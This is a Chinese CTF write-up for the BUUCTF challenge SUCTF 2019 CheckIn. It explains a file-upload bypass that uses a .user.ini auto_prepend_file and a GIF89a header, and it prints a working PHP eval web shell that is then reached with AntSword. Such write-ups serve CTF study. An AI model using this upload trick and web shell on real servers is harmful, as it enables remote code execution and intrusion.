【学习笔记 26】 buu [SUCTF 2019]CheckIn

0x00 知识点

  1. 利用.user.ini文件的文件上传
  2. 利用利用GIF89a文件头绕过exif_imagetype()的检测。

0x01 知识点讲解

  1. 什么是.user.ini文件?
    答:.user.ini文件相当于一个用户可以自定义的php.ini文件,但是有一点限制就是不能定义PHP_INI_SYSTEM模式,而在执行php代码之前,系统会对.user.ini先做一个执行,然后才执行其他的php文件。
  2. 怎么利用.user.ini文件?
    答:我们可以在.user.ini文件中写入auto_prepend_file函数,auto_prepend_file表示在php程序加载第一个php代码前加载的php文件,这时候我们就可以引入一个我们自己所写的php文件,也就是一个一句话木马。
  3. 使用的条件?
    答:
    (1)服务器脚本语言为PHP
    (2) 对应目录下面有可执行的php文件
    (3)服务器使用CGI/FastCGI模式
    想要知道更多细节的可以看看这篇大佬的博客

0x02 解题思路

  1. 打开网站看看是什么题目在这里插入图片描述一看就是文件上传了,但是常用的绕过的方法都不行,比如修改后缀,00截断等等,尝试使用.user.ini文件上传。

  2. 创建两个文件分别命名为.user.ini和yjh.png文件
    .user.ini

GIF89a                  
auto_prepend_file=a.jpg

a.jpg

GIF89a
<script language='php'> @eval($_POST['hnpc']);</script>
  1. 上传.user.ini文件看看其回显 在这里插入图片描述注意看到其返回的执行的步奏,先执行.user.ini后再执行index.php文件
  2. 接下来上传a.jpg
    在这里插入图片描述 这里要注意两点,1.这个网站执行过.user.ini文件后会按照文件命首字母执行,也就是说,如果你文件的首字母在i之后,那你所写的一句话木马就不会写入index.php文件中当作php文件执行,2.这个网站只能通过jpg文件后缀。(因为这两个细节卡了半天,好气)。
  3. 之后利用蚁剑连接注意是连接路径如下所示
http://97cecbb5-94d6-49c1-9791-19f6ca241a4f.node3.buuoj.cn/uploads/adeee0c170ad4ffb110df0cde294aecd/index.php

在这里插入图片描述之后在根目录找到flag在这里插入图片描述
在这里插入图片描述注意这里只能用蚁剑连。菜刀,冰蝎,c刀都不行。
这些工具合计我也会上传上去,供大家下载。

猜你喜欢

转载自blog.csdn.net/weixin_43553654/article/details/107617905